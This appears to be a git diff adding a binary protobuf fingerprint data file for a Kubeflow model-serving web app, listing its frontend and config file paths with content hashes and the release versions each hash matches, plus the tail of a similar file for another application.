+3.46.1"$ +assets/index-d56f85a6.js +3.44.0"$ +assets/index-DYF-SryT.js +4.31.2"$ +assets/index-c1846101.js +3.44.2"% +assets/index-CNcRVSWB.css +4.32.1"% +assets/index-5b4ba2c8.css +4.14.0"$ +assets/index-40511bb1.js +3.47.0"$ +assets/index-6d9f7a14.js +4.13.0"% +assets/index-33179a8d.css +4.20.1"% +assets/index-Ds_LdHYW.css +4.29.0"$ +assets/index-bc11027e.js +3.45.1" +static/img/camera.svg +4.0.0 +4.25.0 +4.24.0 +4.23.0 +4.22.0 +4.21.0 +4.20.1 +4.20.0 +4.19.2 +4.19.1 +4.19.0 +4.18.0 +4.17.0 +4.16.0 +4.15.0 +4.14.0 +4.13.0 +4.12.0 +4.11.0 +4.10.0 +4.9.1 +4.9.0 +4.8.0 +4.7.0 +4.5.0 +4.4.1 +4.4.0 +4.3.0 +4.2.0 +4.1.2 +4.1.1 +4.1.0 +4.0.2 +4.0.1 + 4.0.0-beta.15 +3.50.2 +3.50.1 +3.50.0 +3.49.0 +3.48.0 +3.47.1 +3.47.0 +3.46.1 +3.46.0 +3.45.2 +3.45.1 +3.45.0 +3.44.4 +3.44.3 +3.44.2 +3.44.1 +3.44.0 +3.43.2 +3.43.1 +3.43.0 +3.42.0 +3.41.2 +3.41.1 +3.41.0 +4.31.1 +4.31.0 +4.29.0 +4.28.3 +4.28.2 +4.28.1 +4.28.0 +4.27.0 +4.26.0 +4.36.1 +4.36.0 +4.35.0 +4.33.0 +4.32.2 +4.32.1 +4.32.0 +4.31.5 +4.31.4 +4.31.3 +4.31.2"% +assets/index-20519b4d.css +4.16.0"$ +assets/index-fcfd0285.js +4.17.0"# +assets/index-8fb71e1a.js +4.9.1"$ +assets/index-7f1ea29b.js +4.19.1"$ +assets/index-bfd386f6.js +3.42.0"$ +assets/index-CcNKbqN6.js +4.28.0" +static/img/undo-solid.svg +4.0.0 +4.25.0 +4.24.0 +4.23.0 +4.22.0 +4.21.0 +4.20.1 +4.20.0 +4.19.2 +4.19.1 +4.19.0 +4.18.0 +4.17.0 +4.16.0 +4.15.0 +4.14.0 +4.13.0 +4.12.0 +4.11.0 +4.10.0 +4.9.1 +4.9.0 +4.8.0 +4.7.0 +4.5.0 +4.4.1 +4.4.0 +4.3.0 +4.2.0 +4.1.2 +4.1.1 +4.1.0 +4.0.2 +4.0.1 + 4.0.0-beta.15 +3.50.2 +3.50.1 +3.50.0 +3.49.0 +3.48.0 +3.47.1 +3.47.0 +3.46.1 +3.46.0 +3.45.2 +3.45.1 +3.45.0 +3.44.4 +3.44.3 +3.44.2 +3.44.1 +3.44.0 +3.43.2 +3.43.1 +3.43.0 +3.42.0 +3.41.2 +3.41.1 +3.41.0 +4.31.1 +4.31.0 +4.29.0 +4.28.3 +4.28.2 +4.28.1 +4.28.0 +4.27.0 +4.26.0 +4.36.1 +4.36.0 +4.35.0 +4.33.0 +4.32.2 +4.32.1 +4.32.0 +4.31.5 +4.31.4 +4.31.3 +4.31.2"$ +assets/index-bb14f09f.js +3.43.0"$ +assets/index-96c4f758.js +4.10.0"$ +assets/index-Xl9iYhYF.js +4.28.3"% +assets/index-e657421a.css +4.19.2"$ +assets/index-8cd77098.js +3.44.1" +static/img/edit.svg +4.0.0 +4.25.0 +4.24.0 +4.23.0 +4.22.0 +4.21.0 +4.20.1 +4.20.0 +4.19.2 +4.19.1 +4.19.0 +4.18.0 +4.17.0 +4.16.0 +4.15.0 +4.14.0 +4.13.0 +4.12.0 +4.11.0 +4.10.0 +4.9.1 +4.9.0 +4.8.0 +4.7.0 +4.5.0 +4.4.1 +4.4.0 +4.3.0 +4.2.0 +4.1.2 +4.1.1 +4.1.0 +4.0.2 +4.0.1 + 4.0.0-beta.15 +3.50.2 +3.50.1 +3.50.0 +3.49.0 +3.48.0 +3.47.1 +3.47.0 +3.46.1 +3.46.0 +3.45.2 +3.45.1 +3.45.0 +3.44.4 +3.44.3 +3.44.2 +3.44.1 +3.44.0 +3.43.2 +3.43.1 +3.43.0 +3.42.0 +3.41.2 +3.41.1 +3.41.0 +4.31.1 +4.31.0 +4.29.0 +4.28.3 +4.28.2 +4.28.1 +4.28.0 +4.27.0 +4.26.0 +4.36.1 +4.36.0 +4.35.0 +4.33.0 +4.32.2 +4.32.1 +4.32.0 +4.31.5 +4.31.4 +4.31.3 +4.31.2"# +assets/index-11cab7ad.js +4.5.0"# +assets/index-2b08cc7a.js +4.4.0"# +assets/index-50ad4c77.js +4.0.2"$ +assets/index-7905665e.js +4.19.2 \ No newline at end of file diff --git a/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/kubeflow.binproto b/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/kubeflow.binproto new file mode 100644 index 000000000..b1714b5d2 --- /dev/null +++ b/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/kubeflow.binproto @@ -0,0 +1,1963 @@ + + + +kubeflow +Mfrontend/src/app/pages/server-info/details/explainer/explainer.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/polyfills.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cU +/static/polyfills-es2015.36898c35c2c07fb1f7ee.js" + 125883bb0e9a6143a044184c1a06a2b2R +,static/polyfills-es5.14b0fa885028d35826bb.js" + f3bcc78c0fb3c3dc7d4be36418000036 +frontend/src/styles.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cM +'static/main-es5.06167965c3d1b2892706.js" + 1374e5bc21b827137ea1a72111c20abeM +'static/main-es5.d8e7a931af75ca6eba2d.js" + c86f0d05bd337f793a442fcc8826f68d +&frontend/src/app/pages/index/config.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/main.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Tfrontend/src/app/pages/server-info/details/transformer/transformer.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cu +Ofrontend/src/app/shared/storage-uri-column/storage-uri-column.component.spec.ts" + 3642a9498bd4028f6eb28f7b7571943c + frontend/e2e/src/app.e2e-spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/package.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +@frontend/src/app/pages/submit-form/submit-form.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cP +*static/main-es2015.5e1462243b4c0545dedf.js" + dabdb12f60f077bb4bef03833304ad74d +>frontend/src/app/shared/storage-uri/storage-uri.component.html" + 3642a9498bd4028f6eb28f7b7571943cd +>frontend/src/app/shared/storage-uri/storage-uri.component.scss" + 3642a9498bd4028f6eb28f7b7571943c +frontend/tslint.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cM +'static/main-es5.5e1462243b4c0545dedf.js" + 89c6cf7fa2d972346ba09c6b29c2dc08 +hfrontend/src/app/pages/server-info/details/shared/component-extension/component-extension.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cL +&static/styles.d3261b523a374fc723b3.css" + cb8722f7297b191555fcb0626870fee2R +,static/polyfills-es5.0290b245fbcca09184ac.js" + 9ee8c1620335c9bf08df63268fd7b3c6 +releasing/VERSION" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +(frontend/src/environments/environment.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +!frontend/src/app/types/grafana.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cc +=frontend/src/app/pages/server-info/events/events.component.ts" + 3642a9498bd4028f6eb28f7b7571943cL +&static/scripts.d8cefbd4ddb78bf33724.js" + 91cc94b18998bc0bf5d186045f6d0f56 +6frontend/src/app/pages/server-info/logs/logs.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +#frontend/src/app/app.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +@frontend/src/app/pages/server-info/yamls/yamls.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +,frontend/src/app/pages/index/index.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +config/base/istio.yaml" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Ufrontend/src/app/pages/server-info/metrics/grafana-graph/grafana-graph.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Ufrontend/src/app/pages/server-info/metrics/grafana-graph/grafana-graph.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cE +frontend/src/app/types/event.ts" + 3642a9498bd4028f6eb28f7b7571943c +>frontend/src/app/pages/server-info/overview/overview.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Qfrontend/src/app/pages/server-info/details/transformer/transformer.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Ffrontend/src/app/pages/server-info/details/shared/pod/pod.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943ch +Bfrontend/src/app/pages/server-info/events/events.component.spec.ts" + 3642a9498bd4028f6eb28f7b7571943c +Nfrontend/src/app/pages/server-info/overview/component/component.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cM +'static/main-es5.a5cd7efd5dde1bfea019.js" + 9635a4cf23a7002d79d218ed1085e8afP +*static/main-es2015.a5cd7efd5dde1bfea019.js" + 8b6dff63fbef673ad330d98b178bbbd0 +Pfrontend/src/app/pages/server-info/details/explainer/explainer.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +;frontend/src/app/pages/server-info/logs/logs.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Cfrontend/src/app/pages/server-info/overview/overview.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/tsconfig.spec.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +=frontend/src/app/pages/submit-form/submit-form.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c + frontend/src/app/shared/utils.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/index.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +;frontend/src/app/pages/server-info/logs/logs.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +;frontend/src/app/pages/submit-form/submit-form.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Cfrontend/src/app/pages/server-info/overview/overview.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +%frontend/src/app/pages/index/utils.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +8frontend/src/app/pages/submit-form/submit-form.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Nfrontend/src/app/pages/server-info/overview/component/component.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +=frontend/src/app/pages/submit-form/submit-form.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cP +*static/runtime-es5.1e5bc577140eb82f67e7.js" + ba510bb139f62fb48cb34ea6b8404815P +*static/runtime-es5.473a4e3f2669c8a1cd2d.js" + 9ef3d4c960eedf600d06f6103c2a47d1 +/frontend/src/app/pages/index/index.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/proxy.conf.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +#frontend/src/app/app.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Rfrontend/src/app/pages/server-info/details/shared/container/container.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/kubeflow.css" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cp +Jfrontend/src/app/shared/storage-uri-column/storage-uri-column.component.ts" + 3642a9498bd4028f6eb28f7b7571943c +config/base/service.yaml" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cL +&static/styles.670c153d6051b6adabed.css" + 2dbc01b904ca0d3d9a6ef867feea5d91 +Qfrontend/src/app/pages/server-info/logs/logs-viewer/logs-viewer.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Kfrontend/src/app/pages/server-info/details/predictor/predictor.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +-frontend/src/environments/environment.prod.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +kfrontend/src/app/pages/server-info/details/shared/component-extension/component-extension.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +config/base/deployment.yaml" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/test.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Afrontend/src/app/pages/server-info/metrics/metrics.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Xfrontend/src/app/pages/server-info/metrics/grafana-graph/grafana-graph.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +8frontend/src/app/pages/server-info/yamls/yamls.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Dfrontend/src/app/pages/server-info/metrics/metrics.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Sfrontend/src/app/pages/server-info/metrics/grafana-graph/grafana-graph.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/package-lock.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Dfrontend/src/app/pages/server-info/details/details.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/e2e/tsconfig.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +1frontend/src/app/pages/index/index.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +?frontend/src/app/pages/server-info/details/details.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Tfrontend/src/app/pages/server-info/details/shared/container/container.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/tsconfig.json" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943cP +*static/main-es2015.d8e7a931af75ca6eba2d.js" + 5116d8c28bd17c4b035abd2d4b90efd4b +frontend/src/app/pages/server-info/logs/logs.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Hfrontend/src/app/pages/server-info/details/shared/pod/pod.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +&frontend/src/app/app-routing.module.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c` +:frontend/src/app/pages/server-info/events/events.module.ts" + 3642a9498bd4028f6eb28f7b7571943c +2config/overlays/kubeflow/patches/web-app-vsvc.yaml" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Mfrontend/src/app/pages/server-info/details/predictor/predictor.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Makefile" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +$config/overlays/kubeflow/params.yaml" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/i18n/messages.xlf" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +ffrontend/src/app/pages/server-info/details/shared/component-extension/component-extension.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +!frontend/src/app/types/backend.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c + favicon.ico" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +frontend/src/favicon.ico" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Kfrontend/src/app/pages/server-info/details/explainer/explainer.component.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +=frontend/src/app/pages/server-info/server-info.component.scss" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +backend/Makefile" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +4frontend/src/app/pages/index/index.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Kfrontend/src/app/pages/server-info/details/shared/pod/pod.component.spec.ts" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c +Afrontend/src/app/pages/server-info/details/details.component.html" + 3f90654228cf9b5242942aff836966db" + 9ef27a5a16d0d0e481897428ced5ac3a" + 5f19db97642479b77d3df407153d576e" + ddd86ae17ef3297e02ae39d60b63fbbc" + 3642a9498bd4028f6eb28f7b7571943c 